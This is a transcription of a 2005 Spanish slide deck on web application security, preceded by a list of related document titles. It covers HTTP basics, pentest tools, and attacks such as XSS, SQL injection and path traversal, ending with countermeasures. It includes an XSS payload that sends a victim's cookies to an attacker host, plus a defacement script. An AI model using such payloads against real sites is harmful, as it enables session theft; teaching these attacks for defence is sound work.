Seguridad en Aplicaciones Web



Documentos relacionados
Testing de Seguridad de Aplicaciones Web

Servicio de publicación de información web (HTTP)

AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web

Ataques XSS en Aplicaciones Web

PROGRAMACIÓN PÁGINAS WEB CON PHP

UD 4: Instalación y administración de servicios Web SRI

SERVIDOR WEB. Servidores web IIS (Windows) / Apache (Windows y Linux)

Instalación, creación y configuración del servicio FTP

Capítulo 4 Pruebas e implementación de la aplicación CAPÍTULO 4 PRUEBAS E IMPLEMENTACIÓN DE LA APLICACIÓN

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable

Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US

Introducción a las Redes de Computadoras. Obligatorio

5. Crea un sitio Web seguro usando tu propio certificado digital (Windows y Linux).

XPERTO EN DISEÑO DE PÁGINAS WEB

PROGRAMACIÓN EN PHP. 1. Identificar las características y modalidad de programación bajo PHP.

qué es comercio electrónico?

Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen


Programación páginas web. Servidor (PHP)

1

Desarrollo y servicios web

HTTP Introducción. Redes de Datos Ing. Marcelo Utard / Ing. Pablo Ronco FACULTAD DE INGENIERIA UNIVERSIDAD DE BUENOS AIRES

Configuración de Aspel-SAE 6.0 para trabajar Remotamente

SERVIDOR WEB MULTIPLATAFORMA CON IMPLEMENTACIÓN CGI

Desarrollo seguro en Drupal. Ezequiel Vázquez De la calle

Practica 4 1. Certificados digitales

Configuración de Aspel-SAE 5.0 para trabajar Remotamente

Fundamentos de programación Estudia las estructuras de control y cómo definir funciones en JavaScript.

Luis Villalta Márquez

Configuración de Aspel-SAE 6.0 para trabajar Remotamente

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team

Gastón Toth Lic. en Computación CEH Pentester

Firewalls, IPtables y Netfilter

Programación páginas web con ASP.NET 3.5 (C#)

Experiencias de Seguridad en SAP. Julio C. Ardita CYBSEC

Transacciones sin temor para el Comercio Electrónico

Curso Online. Desarrollo Seguro en Java

Tema 4. II - Cookies. Arquitecturas Distribuidas 11/12


SSL Secure Socket Layer

Seguridad en Sitios Web de Alto Tráfico. Ing. Enrique Hurtarte Juárez

Ataques Web Automáticos: Identificación, Engaño y Contraataque

Control de acceso para aplicaciones Web

b1010 formas de escribir código (in)seguro

SEGURIDAD EN REDES. NOMBRE: Daniel Leonardo Proaño Rosero. TEMA: SSH server

ACCESO AL SERVIDOR EXCHANGE MEDIANTE OWA

Clase 22 Nivel de Aplicación WWW Tema 6.- Nivel de aplicación en Internet

Configuración de Aspel SAE 5.0 para trabajar Remotamente. 2. Para configurar Aspel-SAE 5.0 como Servidor Remoto se necesita:

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP

Seguridad en Servicios de Hosting

Curso 2008/2009 Arquitecturas Distribuidas 3

Especificación WebService para:

Introducción al desarrollo web (idesweb)

SISTEMAS IDEALES SISTIDE, S.A. SISTEMA GESTION DE USUARIOS

Programación páginas web JavaScript y PHP

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez

La web (el servicio WWW)

Certificados digitales SSL y TLS

Trabajo elaborado para el área de Gestión de Redes y Datos

Quienes somos. Eduardo Arriols Roberto Lopez

Su Seguridad es Nuestro Éxito

Certified Offensive and Defensive Security Professional - Entrenamiento E-learning - 3-SCANNING.

Instalación y Configuración del IIS para la facturación WEB en Aspel-CAJA 3.5

ASP.NET. Laboratorio de Programación Lorena Castañeda Bueno

Funcionamiento de Servicios Web, FTP

Servicio de Notificaciones Electrónicas y Dirección Electrónica Habilitada

PRACTICA CAPITULO 2 MODULO 1 PROTOCOLOS Y LA FUNCIONALIDAD DE LA CAPA DE APLICACIÓN

Resumen de Requisitos Técnicos para incorporación de Organismos a la Plataforma Integrada de Servicios Electrónicos del Estado

VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL. AUTOR: Chema Alonso

Guía de doble autenticación

Hacking Ético Web. I Jornadas Tecnológicas CEEPS Carlos García García i52gagac@uco.es

Crear un servidor Web en IIS

Internet Information Server

SIEWEB. La intranet corporativa de SIE

Copyright. INSTRUCTIVO DE CONFIGURACIÓN DE PC s DE CLIENTES CASH MANAGEMENT

Hacking en 5 pasos usando Software libre

EDITRAN/CL. Manual de Usuario e Instalación. Módulo de Cliente Departamental. Windows

#09 Apache Web Server

LABORATORIO DE RC: PRÁCTICA 4: IMPLEMENTACIÓN DE UN CLIENTE DE CORREO

MANUAL DE USUARIO COOPERATIVAS

Seguridad Informática

REQUISITOS PARA EL USO DEL REGISTRO ELECTRÓNICO

MÁSTER UNIVERSITARIO EN INGENIERÍA WEB. Guía de Aprendizaje Información al estudiante

Cross Site Scripting. Conceptos Básicos y Casos prácticos. Antonio González Castro antonio@noveria.es

INTRODUCCION. Tema: Protocolo de la Capa de aplicación. FTP HTTP. Autor: Julio Cesar Morejon Rios

PROGRAMACIÓN PÁGINAS WEB JAVASCRIPT Y PHP

Configurando SSL/TLS

Seguridad de un Portal

PRACTICA 4 1-CERTIFICADO DIGITAL VERIFICADO 2-CERTIFICADO DIGITAL NO VERIFICADO 3-SERVIDOR VIRTUAL HTTPS EN LINUX 4- SERVIDOR VIRTUAL HTTPS

Existe una solicitud disponible a tal efecto en la url:

Capas de la arquitectura de referencia

Maxpho Commerce 11. Gestión CSV. Fecha: 20 Septiembre 2011 Versión : 1.1 Autor: Maxpho Ltd

Contenido Derechos Reservados DIAN - Proyecto MUISCA

WINDOWS : TERMINAL SERVER

Enlace web remoto a travez de SSh Juan Badilla Riquelme Anibal Espinoza Moraga Cesar Reyes Pino

Circular de Tecnología Pautas de seguridad para el desarrollo de aplicaciones Web

Seguridad, Web y Java

Configuración de Aspel-SAE 6.0 para trabajar Remotamente

Documentación Técnica Conector

Transcripción:

Seguridad en Aplicaciones Web Leandro Meiners lmeiners@cybsec cybsec.comcom Septiembre de 2005 Buenos Aires - ARGENTINA

Temario Temario Introducción al Protocolo HTTP: Arquitectura, carácterísticas, autenticación, cookies, HTTPS Configuración del Servidor Web Banners y listado de directorios Herramientas del Penetration Testing Web Proxy Local, Scanner de Vulnerabilidades, HTTP Fingerprinting y HTTP Brute Force Técnicas de Intrusión Manejo de Sesión, Cross Site Scripting, OS Commanding, Path Traversal, SQL Injection y Soluciones Contramedidas ModSecurity y URLSCAN 2

Introducción al protocolo HTTP 3

Introducción al Protocolo HTTP Arquitectura Web Física 4

Introducción al Protocolo HTTP Arquitectura Web Lógica 5

Introducción al Protocolo HTTP Características del Protocolo HTTP HTTP/1.0 definido en RFC 1945 Métodos: GET, HEAD, POST Sin Estado: una conexión TCP para cada pedido Dos tipos de mensajes: Request y Response HTTP/1.1 definido en RFC 2616 Métodos: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE, CONNECT Encabezado Host : indica el nombre del servidor al cual se le realiza el pedido, permite que se utilicen hosts virtuales. Sin Estado: una conexión TCP es persistente por defecto. Encabezado Connection : permite forzar el cierre de la conexión una vez obtenida la respuesta. Dos tipos de mensajes: Request y Response. 6

Introducción al Protocolo HTTP Autenticación HTTP El RFC 2617 define dos métodos de autenticación para el protocolo HTTP: Basic Authentication y Digest Access Authentication. 7

Técnicas de Intrusión Manejo de Sesión: Cookies Mecanismo para el manejo de estado en el protocolo HTTP. Se define en los RFC 2109, y RFC 2965 añade la versión 2. Define el encabezado Set-Cookie (para indicarle al navegador que debe utilizar cookies): Set-Cookie: NAME=nombre; Comment=comentario; Domain=dominio; Max-Age=delta-segundos; Path=path; Secure; Version=version Define el encabezado Cookie (para que el navegador le comunique la cookie al sitio Web): Cookie: 1 NAME=nombre; Path=path; Domain=domain 8

Introducción al Protocolo HTTP Protocolo HTTPS Definido en el RFC 2818, utilizando TLS (Transport Layer Security). Utilizando SSL (Secure Socket Layer) es un estándar de facto. El protocolo SSL (Secure Socket Layer) fue creado por Netscape y definido en: http://wp.netscape.com/eng/ssl3/ssl-toc.html. El protocolo TLS 1.0 está estandarizado en el RFC 2246 basado en SSL v.3.0. SSL y TLS proveen: Privacidad. Autenticación del cliente (opcional) y del servidor (mediante certificados digitales). Integridad. 9

Configuración del servidor Web 10

Configuración de Servidores Web Banners Los servidores Web, por defecto, responden su versión en el encabezado Server. [root@prueba:~]# nc httpd.apache.org 80 HEAD / HTTP/1.1 Host: httpd.apache.org Connection: close HTTP/1.1 200 OK Date: Tue, 31 May 2005 14:21:09 GMT Server: Apache/2.0.54 (Unix) mod_ssl/2.0.54 OpenSSL/0.9.7a DAV/2 SVN/1.2.0-dev Last-Modified: Wed, 11 May 2005 23:31:37 GMT ETag: "d40136-1f7f-3f6dd12fe6840"... 11

Configuración de Servidores Web Directory Indexing Listado de Directorios Los servidores Web, permiten listar el contenido de un directorio que no tiene un archivo de índice. 12

Herramientas de Penetration Testing Web 13

Herramientas de Penetration Testing Web Proxy Local: Paros Un proxy local permite interceptar los pedidos del navegador y modificarlos. (www.parosproxy.org) 14

Herramientas de Penetration Testing Web Scanner de Vulnerabilidades: Nikto Un Scanner de vulnerabilidades analiza el servidor verificando problemas comunes de configuración, versiones desactualizadas o vulnerables, y problemas de seguridad de distintos servidores y aplicaciones Web. (http:// http://www.cirt.net/code/nikto.shtml) 15

Herramientas de Penetration Testing Web HTTP Fingerprinting: httprint Una herramienta de fingerprinting intenta identificar la versión del servicio sin utilizar el banner del servicio (ya que el mismo puede ser modificado). En el caso particular de HTTP nos permite identificar la versión del servidor Web. (www.net-square.com/httprint/) 16

Herramientas de Penetration Testing Web HTTP Brute Forcing: BRUTUS Una herramienta de bruteforcing de HTTP permite realizar ataques de fuerza bruta sobre los métodos de autenticación HTTP y/o formularios Web de autenticación. (www.hoobie.net/brutus/) 17

Técnicas de Intrusión 18

Técnicas de Intrusión Escalación de Privilegios y Manejo de Sesión Session Prediction: Las aplicaciones vulnerables generan credenciales de autenticación predecibles; permitiendo deducir las credenciales de un usuario autenticado o las que van a ser asignadas al próximo usuario que se autentique. Ejemplo: La cookie asignada a cada usuario se realiza en forma secuencial. Session Fixation: Las aplicaciones vulnerables permiten fijar la credencial de autenticación que utilizará el usuario; permitiendo realizar ataques de session hijaking (robo de sesión). Ejemplo: La aplicación toma el identificador de sesión como parámetro, y si, previo a la autenticación, se le pasa un identificador la aplicación lo utiliza para el usuario una vez que se autentique. Session Expiration: Las aplicaciones vulnerables permiten utilizar credenciales de autenticación viejas. 19

Técnicas de Intrusión Cross-Site Scripting Un ataque de Cross-Site Scripting consiste en la inclusión de un script en una página Web que se ejecuta cuando la página es accedida por un usuario. 20

Técnicas de Intrusión Cross-Site Scripting: Qué se puede hacer? Robo de Credenciales: <script>document.location='http://www.atacante.com.ar/cgi-bin/cookie.cgi?' +document.cookie</script> El script anterior envía las cookies de quién lo ejecute. Defacement de la página Web: <script>document.write("<br><h1><font color=red>defacement de la página Web.</br></font></h1></html>");</script> El script anterior modifica la página Web para que aparezca la cadena Defacement de la página Web. En resumen... TODO lo que se pueda hacer con Javascript! 21

Técnicas de Intrusión Cross-Site Scripting y Phishing Ejemplo: La URL es la del sitio, sin embargo se visualiza otro sitio a través de una vulnerabilidad de XSS 22

Técnicas de Intrusión OS Commanding Es una técnica de ataque donde se manipula los parámetros enviados a la aplicación Web para ejecutar comandos del sistema operativo. 23

Técnicas de Intrusión Path Traversal Es una técnica de ataque que fuerza el acceso a archivos ubicados fuera de la raíz del servidor Web. 24

Técnicas de Intrusión SQL Injection Es una técnica cuyo objetivo es el de inyectar consultas SQL arbitrarias en páginas vulnerables que interactúan con una Base de Datos, logrando de esta forma obtener, modificar y/o eliminar información sensible. Atacando ciertos motores de Bases de Datos es posible, también, lograr la ejecución de comandos del Sistema Operativo. 25

Técnicas de Intrusión Problemática Común? Todas las técnicas mencionadas explotan el mismo problema: diferencias semántica (en la interpretación de metacaracteres) entre la aplicación y Navegador Web en el caso de Cross Site Scripting (XSS) Intérprete de comandos del Sistema Operativo en OS Commanding Sistema Operativo en Path Traversal Base de Datos en SQL Injection Qué diferencia semántica? XSS: El texto inyectado es interpretado como un script por el Navegador OS Commanding: Ciertos caracteres son interpretados por el intérprete de comandos Path Traversal:.. para el S.O. tiene un significado especial: directorio padre SQL Inyection: Las palabras claves de SQL son interpretadas por la base de datos. Por ende, la solución es común 26

Técnicas de Intrusión Soluciones VALIDAR EL INPUT y el OUTPUT Limitar longitud y tipo de los parámetros White-List Approach vs Black-List Approach Escapear caracteres especiales No mostrar mensajes de error Firewall? No nos protege: todos los ataques mencionados ocurren a través del puerto del Web Server (autorizado). IDS/IPS? Nos puede proteger: permite rechazar patrones de ataques. 27

Técnicas de Intrusión Validación de Input: En el cliente vs. En el servidor CLIENTE Libera al servidor del procesamiento. Más rápida para el cliente (no se realiza el pedido). SERVIDOR El servidor realiza el procesamiento. Más lenta para el cliente (se realiza el pedido y se espera la respuesta con el error). Es evidente que conviene filtrar en el cliente detectando de forma temprana los errores, por ende optimizando tiempos y recursos... Entonces... Por qué se debe filtrar en el servidor? 28

Técnicas de Intrusión... Se acuerdan del Paros?... TODA validación del lado del cliente se puede evadir 29

Técnicas de Intrusión Los Web Services son más seguros? Una vez que se conoce la interfaz de comunicación con el Web Service, se puede intentar: SQL Injection XSS Path traversal OS Commanding Buffer Overflows Por qué? Lo único que cambia es el método de comunicación, por lo tanto, desde el punto de vista de seguridad, pueden tener las mismas vulnerabilidades. 30

Contramedidas 31

Contramedidas: Apache ModSecurity Módulo para el servidor Web Apache. Actúa como IDS entre el cliente y el servidor Web, filtrando los pedidos. Las acciones permitidas son: Logear el pedido Rechazar el pedido Redireccioner el pedido Dejar pasar el pedido (www.modseurity.org) 32

Contramedidas: IIS IISLOCKDOWN Deshabilita servicios inseguros. Elimina directorios virtuales instalados por defecto. No permite la escritura en directorios Web con permisos del usuario Web. InstalaURLScan. URLScan Actúa como IDS entre el cliente y el servidor Web, filtrando los pedidos. Determina cómo responde el Servidor. 33

Preguntas? 34